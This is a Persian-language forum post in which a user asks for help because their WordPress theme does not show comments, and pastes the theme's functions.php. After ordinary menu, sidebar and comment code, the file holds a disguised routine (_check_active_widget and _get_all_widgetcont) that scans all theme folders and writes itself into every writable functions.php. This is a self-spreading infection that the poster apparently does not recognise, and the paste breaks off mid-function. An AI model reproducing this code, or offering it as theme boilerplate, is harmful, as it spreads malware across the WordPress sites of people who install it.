taksite_ir 1 ارسال شده در شهریور 95 گزارش بازنشر ارسال شده در شهریور 95 سلام . امیدوارم حالتون خوب باشه . راستش من یه قالب رو بر اساس یه سری اموزش طراحی کردم و اون موقع تو قسمت نظرات یه مشکل داشت که نظرات مطلب رو نمایش نمیداد . فقط میدونم مشکل از فایل فانکشن هست . ممنون میشم دوستانی که واردن بررسی کنن . فانکشن قالب : <?php add_theme_support( 'menus' ); function register_my_menus() { register_nav_menus( array( 'header-menu' => __( 'منو اصلی بالا' ), 'navbar-menu' => __( 'منو ناوبار' ), 'footer-menu' => __( 'منو فوتر' ) ) ); } add_action( 'init', 'register_my_menus' ); if ( function_exists( 'add_theme_support' ) ) { add_theme_support( 'post-thumbnails' ); } if (function_exists('add_image_size')){ add_image_size( 'post-img', 210, 262,true); add_image_size( 'tileb', 154, 180,true); add_image_size( 'tilem', 100, 1,true); } if (function_exists('register_sidebar')) { register_sidebar(array( 'name' => 'سایدابر چپ', 'id' => 'sidebar-widgets', 'description' => 'جهت تغییرات در منو سمت جپ ، این قسمت استفاده کنید . ', 'before_widget' => '', 'after_widget' => ' </div>', 'before_title' => '<div class="title-side"> <h3>', 'after_title' => '</h3> <div class="clear"></div> </div> <div class="last-link">' )); } ?> <?php function mytheme_comment($comment, $args, $depth) { $GLOBALS['comment'] = $comment; ?> <div class="commnet-box"> <p id="comment"></p> <?php echo get_avatar($comment,$size='50' ); ?> <b><?php printf(__('%s '), get_comment_author_link()) ?> در <?php comment_date(__('l d F Y ','kubrick')) ?> </b> <?php $reply_text="پاسخ" ?> <?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'reply_text' => $reply_text ,'max_depth' => $args['max_depth']))) ?><br> <?php comment_text() ?> <?php if ($comment->comment_approved == '0') : ?> <?php _e(' <small>نظر شما منتظر تاييد مديريت سايت است.</small>'); ?> <?php endif; ?> </div> <?php } ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .